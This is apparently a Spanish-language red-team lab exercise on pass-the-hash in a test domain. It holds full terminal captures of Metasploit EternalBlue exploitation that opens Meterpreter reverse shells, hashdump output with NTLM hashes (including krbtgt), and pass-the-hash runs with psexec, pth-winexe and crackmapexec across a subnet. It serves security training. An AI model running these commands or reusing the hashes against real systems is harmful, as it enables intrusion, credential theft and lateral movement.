

EJERCICIOS PASS THE HASH

Herramientas

- Kali Linux
- Windowsloitable
- Windows 10 Evasion
- Windows Server 2012 Movimientos Laterales

Ejercicio 1 - Metasploit, Pth-toolkit y Crackmapexec

- **Comprometer la máquina Windowsloitable para llegar a NT AUTHORITY\SYSTEM.**

```
(root@kali)-[~]
# msfconsole -q
msf6 > search eternalblue

Matching Modules
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/windows/smb/ms17_010_eternalblue	2017-03-14	average	Yes	MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1	exploit/windows/smb/ms17_010_psexec	2017-03-14	normal	Yes	MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
2	auxiliary/admin/smb/ms17_010_command	2017-03-14	normal	No	MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
3	auxiliary/scanner/smb/smb_ms17_010		normal	No	MS17-010 SMB RCE Detection
4	exploit/windows/smb/smb_doublepulsar_rce	2017-04-14	great	Yes	SMB DOUBLEPULSAR Remote Code Execution

Interact with a module by name or index. For example `info 4`, `use 4` or `use exploit/windows/smb/smb_doublepulsar_rce`

```
msf6 > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > options
```

Module options (exploit/windows/smb/ms17_010_eternalblue):

Name	Current Setting	Required	Description
RHOSTS		yes	The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT	445	yes	The target port (TCP)
SMBDomain		no	(Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
SMBPass		no	(Optional) The password for the specified username
SMBUser		no	(Optional) The username to authenticate as
VERIFY_ARCH	true	yes	Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
VERIFY_TARGET	true	yes	Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.

VBay 5/15

Payload options (windows/x64/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
EXITFUNC	thread	yes	Exit technique (Accepted: '', seh, thread, process, none)
LHOST	10.0.2.15	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
0	Automatic Target

View the full module info with the `info`, or `info -d` command.

```

msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 10.0.2.101
rhosts => 10.0.2.101
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.101:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.0.2.101:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.0.2.101:445 - Scanned 1 of 1 hosts (100% complete)
[+] 10.0.2.101:445 - The target is vulnerable.
[*] 10.0.2.101:445 - Connecting to target for exploitation.
[+] 10.0.2.101:445 - Connection established for exploitation.
[+] 10.0.2.101:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.0.2.101:445 - CORE raw buffer dump (42 bytes)
[*] 10.0.2.101:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.0.2.101:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.0.2.101:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 10.0.2.101:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.0.2.101:445 - Trying exploit with 12 Groom Allocations.
[*] 10.0.2.101:445 - Sending all but last fragment of exploit packet
[*] 10.0.2.101:445 - Starting non-paged pool grooming
[+] 10.0.2.101:445 - Sending SMBv2 buffers
[+] 10.0.2.101:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.0.2.101:445 - Sending final SMBv2 buffers.
[*] 10.0.2.101:445 - Sending last fragment of exploit packet!
[*] 10.0.2.101:445 - Receiving response from exploit packet
[+] 10.0.2.101:445 - ETHERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.0.2.101:445 - Sending egg to corrupted connection.
[*] 10.0.2.101:445 - Triggering free of corrupted buffer.
[*] Sending stage (200774 bytes) to 10.0.2.101
[*] Meterpreter session 1 opened (10.0.2.15:4444 → 10.0.2.101:49162) at 2023-02-13 20:46:35 +0100
[+] 10.0.2.101:445 - -----
[+] 10.0.2.101:445 - -----WIN-----
[+] 10.0.2.101:445 - -----

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > 

```

```

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > bg
[*] Backgrounding session 1...
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions -i

```

Active sessions

Id	Name	Type	Information	Connection
1		meterpreter x64/windows	NT AUTHORITY\SYSTEM @ HETEA	10.0.2.15:4444 → 10.0.2.101:49162 (10.0.2.101)

- Conseguir los hashes de los usuarios.

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > hashdump
Administrador:500:aad3b435b51404eeaad3b435b51404ee:54adc306bd846b33d621df79eb237591 :::
bob:1003:aad3b435b51404eeaad3b435b51404ee:ed9338d46d2092c21e4680732830c03a :::
HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:a5fb78631c45b1c1406ea324a945fc12 :::
Invitado:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 :::
master:1000:aad3b435b51404eeaad3b435b51404ee:7acacbf0020ecda9f5a85eb69c8331ad :::
meterpreter > █
```

- Utilizar los hashes de los usuarios para realizar los siguientes ataques pass-the-hash:
 - Pth con metasploit

ADMINISTRADOR

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > search psexec

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -
0  auxiliary/scanner/smb/impacket/dcomexec  2018-03-19      normal No     DCOM Exec
1  exploit/windows/smb/ms17_010_psexec      2017-03-14      normal Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
2  auxiliary/admin/smb/ms17_010_command    2017-03-14      normal No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
3  auxiliary/scanner/smb/psexec_loggedin_users  normal No     Microsoft Windows Authenticated Logged In Users Enumeration
4  exploit/windows/smb/psexec              1999-01-01      manual No     Microsoft Windows Authenticated User Code Execution
5  auxiliary/admin/smb/psexec_ntdsgrab      normal No     PsExec NTDS.dit And SYSTEM Hive Download Utility
6  exploit/windows/local/current_user_psexec 1999-01-01      excellent No     PsExec via Current User Token
7  encoder/x86/service                     manual No     Register Service
8  auxiliary/scanner/smb/impacket/wmiexec   2018-03-19      normal No     WMI Exec
9  exploit/windows/smb/webexec              2018-10-24      manual No     WebExec Authenticated User Code Execution
10 exploit/windows/local/wmi                 1999-01-01      excellent No     Windows Management Instrumentation (WMI) Remote Command Execution

Interact with a module by name or index. For example info 10, use 10 or use exploit/windows/local/wmi
```

```

msf6 exploit(windows/smb/psexec) > set payloads windows/x64/meterpreter/reverse_tcp
[-] Unknown datastore option: payloads. Did you mean PAYLOAD?
msf6 exploit(windows/smb/psexec) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > set SAMUser Administrador
[-] Unknown datastore option: SAMUser. Did you mean SMBUser?
msf6 exploit(windows/smb/psexec) > set SMBUser Administrador
SMBUser => Administrador
msf6 exploit(windows/smb/psexec) > set SMBPass aad3b435b51404eeaad3b435b51404ee:54adc306bd846b33d621df79eb237591
SMBPass => aad3b435b51404eeaad3b435b51404ee:54adc306bd846b33d621df79eb237591
msf6 exploit(windows/smb/psexec) > options

```

Module options (exploit/windows/smb/psexec):

Name	Current Setting	Required	Description
RHOSTS	10.0.2.95-105	yes	The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT	445	yes	The SMB service port (TCP)
SERVICE_DESCRIPTION		no	Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME		no	The service display name
SERVICE_NAME		no	The service name
SMBDomain		no	The Windows domain to use for authentication
SMBPass	aad3b435b51404eeaad3b435b51404ee:54adc306bd846b33d621df79eb237591	no	The password for the specified username
SMBShare		no	The share to connect to, can be an admin share (ADMIN\$,C\$,...) or a normal read/write folder share
SMBUser	Administrador	no	The username to authenticate as

Payload options (windows/x64/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
EXITFUNC	thread	yes	Exit technique (Accepted: '', seh, thread, process, none)
LHOST	10.0.2.15	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
--	----
0	Automatic

View the full module info with the `info`, or `info -d` command.


```

msf6 exploit(windows/smb/psexec) > exploit
[*] Exploiting target 10.0.2.95

[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.95:445 - Connecting to the server ...
[-] 10.0.2.95:445 - Exploit failed [unreachable]: Rex::HostUnreachable The host (10.0.2.95:445) was unreachable.
[*] Exploiting target 10.0.2.96
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.96:445 - Connecting to the server ...
[-] 10.0.2.96:445 - Exploit failed [unreachable]: Rex::HostUnreachable The host (10.0.2.96:445) was unreachable.
[*] Exploiting target 10.0.2.97
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.97:445 - Connecting to the server ...
[-] 10.0.2.97:445 - Exploit failed [unreachable]: Rex::HostUnreachable The host (10.0.2.97:445) was unreachable.
[*] Exploiting target 10.0.2.98
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.98:445 - Connecting to the server ...
[-] 10.0.2.98:445 - Exploit failed [unreachable]: Rex::HostUnreachable The host (10.0.2.98:445) was unreachable.
[*] Exploiting target 10.0.2.99
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.99:445 - Connecting to the server ...
[-] 10.0.2.99:445 - Exploit failed [unreachable]: Rex::HostUnreachable The host (10.0.2.99:445) was unreachable.
[*] Exploiting target 10.0.2.100
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.100:445 - Connecting to the server ...
[*] 10.0.2.100:445 - Authenticating to 10.0.2.100:445 as user 'Administrador' ...
[*] 10.0.2.100:445 - Selecting PowerShell target
[*] 10.0.2.100:445 - Executing the payload ...
[+] 10.0.2.100:445 - Service start timed out, OK if running a command or non-service executable ...
[*] Sending stage (200774 bytes) to 10.0.2.100
[*] Meterpreter session 2 opened (10.0.2.15:4444 → 10.0.2.100:53506) at 2023-02-13 21:08:01 +0100
[*] Session 2 created in the background.
[*] Exploiting target 10.0.2.101
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.101:445 - Connecting to the server ...
[*] 10.0.2.101:445 - Authenticating to 10.0.2.101:445 as user 'Administrador' ...
[*] 10.0.2.101:445 - Selecting PowerShell target
[*] 10.0.2.101:445 - Executing the payload ...
[+] 10.0.2.101:445 - Service start timed out, OK if running a command or non-service executable ...
[*] Sending stage (200774 bytes) to 10.0.2.101
[*] Meterpreter session 3 opened (10.0.2.15:4444 → 10.0.2.101:49191) at 2023-02-13 21:08:04 +0100
[*] Session 3 created in the background.
[*] Exploiting target 10.0.2.102
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.102:445 - Connecting to the server ...
[*] 10.0.2.102:445 - Authenticating to 10.0.2.102:445 as user 'Administrador' ...
[-] 10.0.2.102:445 - Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: (0xc000006d) STATUS_LOGON_FAILURE: The attempted logon is invalid. This is either due to a bad username or authentication information.
[*] Exploiting target 10.0.2.103
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.103:445 - Connecting to the server ...
[-] 10.0.2.103:445 - Exploit failed [unreachable]: Rex::HostUnreachable The host (10.0.2.103:445) was unreachable.
[*] Exploiting target 10.0.2.104
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.104:445 - Connecting to the server ...

```



```

msf6 exploit(windows/smb/psexec) > sessions

```

Active sessions

Id	Name	Type	Information	Connection
1		meterpreter	x64/windows NT AUTHORITY\SYSTEM @ HETEA	10.0.2.15:4444 → 10.0.2.101:49162 (10.0.2.101)
2		meterpreter	x64/windows NT AUTHORITY\SYSTEM @ PDC	10.0.2.15:4444 → 10.0.2.100:53506 (10.0.2.100)
3		meterpreter	x64/windows NT AUTHORITY\SYSTEM @ HETEA	10.0.2.15:4444 → 10.0.2.101:49191 (10.0.2.101)

```
msf6 exploit(windows/smb/psexec) > sessions -i 2
[*] Starting interaction with 2 ...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > hashdump
Administrador:500:aad3b435b51404eeaad3b435b51404ee:54adc306bd846b33d621df79eb237591 :::
Invitado:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 :::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:bb3beebe8f9423ab15ebc6254dbf2278 :::
usuario:1104:aad3b435b51404eeaad3b435b51404ee:02871d86c4be73990188524ed861efb1 :::
master:1108:aad3b435b51404eeaad3b435b51404ee:7acacbf0020ecda9f5a85eb69c8331ad :::
bob:1111:aad3b435b51404eeaad3b435b51404ee:ed9338d46d2092c21e4680732830c03a :::
PDC$:1001:aad3b435b51404eeaad3b435b51404ee:8a1544168258f5429d02edbdbdf32ea6 :::
PC1$:1106:aad3b435b51404eeaad3b435b51404ee:2407b9b910742f43d6acb85d0a2887e3 :::
HETEAM$:1107:aad3b435b51404eeaad3b435b51404ee:4fc978d8031eb787ce0a9f31f2b91375 :::
```

bob

```
msf6 exploit(windows/smb/psexec) > set SMBUser aad3b435b51404eeaad3b435b51404ee:ed9338d46d2092c21e4680732830c03a
SMBUser => aad3b435b51404eeaad3b435b51404ee:ed9338d46d2092c21e4680732830c03a
msf6 exploit(windows/smb/psexec) > set SMBUser bob
SMBUser => bob
msf6 exploit(windows/smb/psexec) > set SMBPass
SMBPass => aad3b435b51404eeaad3b435b51404ee:54adc306bd846b33d621df79eb237591
msf6 exploit(windows/smb/psexec) > options
```

Module options (exploit/windows/smb/psexec):

Name	Current Setting	Required	Description
RHOSTS	10.0.2.95-105	yes	The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT	445	yes	The SMB service port (TCP)
SERVICE_DESCRIPTION		no	Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME		no	The service display name
SERVICE_NAME		no	The service name
SMBDomain	.	no	The Windows domain to use for authentication
SMBPass	aad3b435b51404eeaad3b435b51404ee:54adc306bd846b33d621df79eb237591	no	The password for the specified username
SMBSHARE		no	The share to connect to, can be an admin share (ADMIN\$,C\$, ...) or a normal read/write folder share
SMBUser	bob	no	The username to authenticate as

Payload options (windows/x64/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
EXITFUNC	thread	yes	Exit technique (Accepted: '', seh, thread, process, none)
LHOST	10.0.2.15	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
0	Automatic

View the full module info with the `info`, or `info -d` command.

```
msf6 exploit(windows/smb/psexec) > exploit
[*] Exploiting target 10.0.2.95
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.95:445 - Connecting to the server ...
[-] 10.0.2.95:445 - Exploit failed [unreachable]: Rex::HostUnreachable The host (10.0.2.95:445) was unreachable.
[*] Exploiting target 10.0.2.96
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.96:445 - Connecting to the server ...
[-] 10.0.2.96:445 - Exploit failed [unreachable]: Rex::HostUnreachable The host (10.0.2.96:445) was unreachable.
[*] Exploiting target 10.0.2.97
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.97:445 - Connecting to the server ...
[-] 10.0.2.97:445 - Exploit failed [unreachable]: Rex::HostUnreachable The host (10.0.2.97:445) was unreachable.
[*] Exploiting target 10.0.2.98
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.98:445 - Connecting to the server ...
[-] 10.0.2.98:445 - Exploit failed [unreachable]: Rex::HostUnreachable The host (10.0.2.98:445) was unreachable.
[*] Exploiting target 10.0.2.99
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.99:445 - Connecting to the server ...
[-] 10.0.2.99:445 - Exploit failed [unreachable]: Rex::HostUnreachable The host (10.0.2.99:445) was unreachable.
[*] Exploiting target 10.0.2.100
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.100:445 - Connecting to the server ...
[*] 10.0.2.100:445 - Authenticating to 10.0.2.100:445 as user 'bob' ...
[-] 10.0.2.100:445 - Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: (0xc000006d) STATUS_LOGON_FAILURE: The attempted logon is invalid. This is either due to a bad username or authentication information.
[*] Exploiting target 10.0.2.101
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.101:445 - Connecting to the server ...
[*] 10.0.2.101:445 - Authenticating to 10.0.2.101:445 as user 'bob' ...
[-] 10.0.2.101:445 - Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: (0xc000006d) STATUS_LOGON_FAILURE: The attempted logon is invalid. This is either due to a bad username or authentication information.
[*] Exploiting target 10.0.2.102
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.102:445 - Connecting to the server ...
[*] 10.0.2.102:445 - Authenticating to 10.0.2.102:445 as user 'bob' ...
[-] 10.0.2.102:445 - Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: (0xc000006d) STATUS_LOGON_FAILURE: The attempted logon is invalid. This is either due to a bad username or authentication information.
[*] Exploiting target 10.0.2.103
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.103:445 - Connecting to the server ...
[-] 10.0.2.103:445 - Exploit failed [unreachable]: Rex::HostUnreachable The host (10.0.2.103:445) was unreachable.
[*] Exploiting target 10.0.2.104
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.104:445 - Connecting to the server ...
[-] 10.0.2.104:445 - Exploit failed [unreachable]: Rex::HostUnreachable The host (10.0.2.104:445) was unreachable.
[*] Exploiting target 10.0.2.105
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.105:445 - Connecting to the server ...
[-] 10.0.2.105:445 - Exploit failed [unreachable]: Rex::HostUnreachable The host (10.0.2.105:445) was unreachable.
[*] Exploit completed, but no session was created.
```


master

```
msf6 exploit(windows/smb/psexec) > options
```

Module options (exploit/windows/smb/psexec):

Name	Current Setting	Required	Description
RHOSTS	10.0.2.95-105	yes	The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT	445	yes	The SMB service port (TCP)
SERVICE_DESCRIPTION		no	Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME		no	The service display name
SERVICE_NAME		no	The service name
SMBDomain	.	no	The Windows domain to use for authentication
SMBPass	aad3b435b51404eeaad3b435b51404ee:54adc306bd846b33d621df79eb237591	no	The password for the specified username
SMBSHARE		no	The share to connect to, can be an admin share (ADMIN\$,C\$, ...) or a normal read/write folder share
SMBUser	bob	no	The username to authenticate as

Payload options (windows/x64/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
EXITFUNC	thread	yes	Exit technique (Accepted: '', seh, thread, process, none)
LHOST	10.0.2.15	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

msf6 exploit(windows/smb/psexec) > info

Exploit target:

Id	Name
0	Automatic

msf6 exploit(windows/smb/psexec) > info

View the full module info with the `info`, or `info -d` command.

```
msf6 exploit(windows/smb/psexec) > set SMBUser master
```

SMBUser => master

```
msf6 exploit(windows/smb/psexec) > set SMBPass aad3b435b51404eeaad3b435b51404ee:7acacbf0020ecda9f5a85eb69c8331ad
```

SMBPass => aad3b435b51404eeaad3b435b51404ee:7acacbf0020ecda9f5a85eb69c8331ad

```
msf6 exploit(windows/smb/psexec) > exploit
[*] Exploiting target 10.0.2.95

[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.95:445 - Connecting to the server ...
[-] 10.0.2.95:445 - Exploit failed [unreachable]: Rex::HostUnreachable The host (10.0.2.95:445) was unreachable.
[*] Exploiting target 10.0.2.96
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.96:445 - Connecting to the server ...
[-] 10.0.2.96:445 - Exploit failed [unreachable]: Rex::HostUnreachable The host (10.0.2.96:445) was unreachable.
[*] Exploiting target 10.0.2.97
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.97:445 - Connecting to the server ...
[-] 10.0.2.97:445 - Exploit failed [unreachable]: Rex::HostUnreachable The host (10.0.2.97:445) was unreachable.
[*] Exploiting target 10.0.2.98
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.98:445 - Connecting to the server ...
[-] 10.0.2.98:445 - Exploit failed [unreachable]: Rex::HostUnreachable The host (10.0.2.98:445) was unreachable.
[*] Exploiting target 10.0.2.99
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.99:445 - Connecting to the server ...
[-] 10.0.2.99:445 - Exploit failed [unreachable]: Rex::HostUnreachable The host (10.0.2.99:445) was unreachable.
[*] Exploiting target 10.0.2.100
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.100:445 - Connecting to the server ...
[*] 10.0.2.100:445 - Authenticating to 10.0.2.100:445 as user 'master' ...
[-] 10.0.2.100:445 - Exploit failed [no-access]: RubySMB::Error::UnexpectedStatusCode The server responded with an unexpected status code: STATUS_ACCESS_DENIED
[*] Exploiting target 10.0.2.101
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.101:445 - Connecting to the server ...
[*] 10.0.2.101:445 - Authenticating to 10.0.2.101:445 as user 'master' ...
[-] 10.0.2.101:445 - Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: (0xc0000071) STATUS_PASSWORD_EXPIRED: The user account password has expired.
[*] Exploiting target 10.0.2.102
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.102:445 - Connecting to the server ...
[*] 10.0.2.102:445 - Authenticating to 10.0.2.102:445 as user 'master' ...
[*] 10.0.2.102:445 - Selecting PowerShell target
[*] 10.0.2.102:445 - Executing the payload ...
[-] 10.0.2.102:445 - Service failed to start - ACCESS_DENIED
[*] Exploiting target 10.0.2.103
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.103:445 - Connecting to the server ...
[-] 10.0.2.103:445 - Exploit failed [unreachable]: Rex::HostUnreachable The host (10.0.2.103:445) was unreachable.
[*] Exploiting target 10.0.2.104
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.104:445 - Connecting to the server ...
[-] 10.0.2.104:445 - Exploit failed [unreachable]: Rex::HostUnreachable The host (10.0.2.104:445) was unreachable.
[*] Exploiting target 10.0.2.105
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.105:445 - Connecting to the server ...
[-] 10.0.2.105:445 - Exploit failed [unreachable]: Rex::HostUnreachable The host (10.0.2.105:445) was unreachable.
[*] Exploit completed, but no session was created.
```

- **PtH con pth-toolkit**

```
(root@kali)-[~]
# pth-winexe -U Administrador%aad3b435b51404eeaad3b435b51404ee:54adc306bd846b33d621df79eb237591 //10.0.2.100 cmd.exe
E_md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH... Allocations.
ERROR: StartService failed. NT code 0xc000041d. out of exploit packet

(root@kali)-[~]
# pth-winexe -U Administrador%aad3b435b51404eeaad3b435b51404ee:54adc306bd846b33d621df79eb237591 //10.0.2.101 cmd.exe
E_md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH... out packet!
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.

C:\Windows\system32>get user^H^H^H^H^H^H^H^H^H^H[[A^H^H^H^H^H
"get" no se reconoce como un comando interno o externo,
programa o archivo por lotes ejecutable.

C:\Windows\system32>net user
net user

Cuentas de usuario de \\
SERVER-ADMINISTRATOR\NT AUTHORITY\SYSTEM

Administrador Invitado
master
El comando se ha completado con uno o m s errores.
Active Sessions

C:\Windows\system32>exit
exit
```

```
(root@kali)-[~]
# pth-winexe -U Administrador%aad3b435b51404eeaad3b435b51404ee:54adc306bd846b33d621df79eb237591 //10.0.2.102 cmd.exe
E_md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH...
ERROR: Failed to open connection - NT_STATUS_TRUSTED_RELATIONSHIP_FAILURE
```

```
(root@kali)-[~]
# pth-winexe -U bob%aad3b435b51404eeaad3b435b51404ee:ed9338d46d2092c21e4680732830c03a //10.0.2.100 cmd.exe
E_md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH...
ERROR: OpenService failed. NT_STATUS_ACCESS_DENIED.
```

```
(root@kali)-[~]
# pth-winexe -U bob%aad3b435b51404eeaad3b435b51404ee:ed9338d46d2092c21e4680732830c03a //10.0.2.101 cmd.exe
E_md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH...
ERROR: OpenService failed. NT_STATUS_ACCESS_DENIED.
```

```
(root@kali)-[~]
# pth-winexe -U bob%aad3b435b51404eeaad3b435b51404ee:ed9338d46d2092c21e4680732830c03a //10.0.2.102 cmd.exe
E_md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH...
ERROR: Failed to open connection - NT_STATUS_TRUSTED_RELATIONSHIP_FAILURE
```

```
(root@kali)-[~]
# pth-winexe -U master%aad3b435b51404eeaad3b435b51404ee:7acacbf0020ecda9f5a85eb69c8331ad //10.0.2.102 cmd.exe
E_md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH...
ERROR: Failed to open connection - NT_STATUS_TRUSTED_RELATIONSHIP_FAILURE
```

```
(root@kali)-[~]
# pth-winexe -U master%aad3b435b51404eeaad3b435b51404ee:7acacbf0020ecda9f5a85eb69c8331ad //10.0.2.101 cmd.exe
E_md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH...
ERROR: Failed to open connection - NT_STATUS_PASSWORD_EXPIRED
```

```
(root@kali)-[~]
# pth-winexe -U master%aad3b435b51404eeaad3b435b51404ee:7acacbf0020ecda9f5a85eb69c8331ad //10.0.2.100 cmd.exe
E_md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH...
ERROR: OpenService failed. NT_STATUS_ACCESS_DENIED.
```


- PTH con crackmapexec

```
(root@kali)-[/home/veronica/Documentos/red_team/CrackMapExec]
# poetry run crackmapexec smb 10.0.2.0/24
SMB 10.0.2.101 445 HETEAM [*] Windows 7 Professional 7601 Service Pack 1 x64 (name:HETEAM) (domain:empresa.local) (signing:False) (SMBv1:True)
SMB 10.0.2.101 445 PDC [*] Windows Server 2012 R2 Standard Evaluation 9600 x64 (name:PDC) (domain:empresa.local) (signing:True) (SMBv1:True)
SMB 10.0.2.102 445 PC1 [*] Windows 10 Enterprise Evaluation 17763 x64 (name:PC1) (domain:empresa.local) (signing:False) (SMBv1:True)
SMB 10.0.2.30 445 PC1 [*] Windows 10 Enterprise Evaluation 17763 x64 (name:PC1) (domain:empresa.local) (signing:False) (SMBv1:True)
SMB 10.0.2.2 445 DESKTOP-30M1UOD [*] Windows 10.0 Build 19041 x64 (name:DESKTOP-30M1UOD) (domain:DESKTOP-30M1UOD) (signing:False) (SMBv1:False)
```

```
(root@kali)-[/home/veronica/Documentos/red_team/CrackMapExec]
# poetry run crackmapexec smb 10.0.2.0/24 -u Administrador -H aad3b435b51404eeaad3b435b51404ee:54adc306bd846b33d621df79eb237591
SMB 10.0.2.102 445 PC1 [*] Windows 10 Enterprise Evaluation 17763 x64 (name:PC1) (domain:empresa.local) (signing:False) (SMBv1:True)
SMB 10.0.2.30 445 PC1 [*] Windows 10 Enterprise Evaluation 17763 x64 (name:PC1) (domain:empresa.local) (signing:False) (SMBv1:True)
SMB 10.0.2.2 445 DESKTOP-30M1UOD [*] Windows 10.0 Build 19041 x64 (name:DESKTOP-30M1UOD) (domain:DESKTOP-30M1UOD) (signing:False) (SMBv1:False)
SMB 10.0.2.100 445 PDC [*] Windows Server 2012 R2 Standard Evaluation 9600 x64 (name:PDC) (domain:empresa.local) (signing:True) (SMBv1:True)
SMB 10.0.2.101 445 HETEAM [*] Windows 7 Professional 7601 Service Pack 1 x64 (name:HETEAM) (domain:empresa.local) (signing:False) (SMBv1:True)
SMB 10.0.2.102 445 PC1 [-] empresa.local\Administrador:54adc306bd846b33d621df79eb237591 STATUS_TRUSTED_RELATIONSHIP_FAILURE
SMB 10.0.2.30 445 PC1 [-] empresa.local\Administrador:54adc306bd846b33d621df79eb237591 STATUS_TRUSTED_RELATIONSHIP_FAILURE
SMB 10.0.2.2 445 DESKTOP-30M1UOD [-] DESKTOP-30M1UOD\Administrador:54adc306bd846b33d621df79eb237591 STATUS_LOGON_FAILURE
SMB 10.0.2.100 445 PDC [+] empresa.local\Administrador:54adc306bd846b33d621df79eb237591 (Pwn3d!)
SMB 10.0.2.101 445 HETEAM [-] Connection Error: The NETBIOS connection with the remote host timed out.
```

```
(root@kali)-[/home/veronica/Documentos/red_team/CrackMapExec]
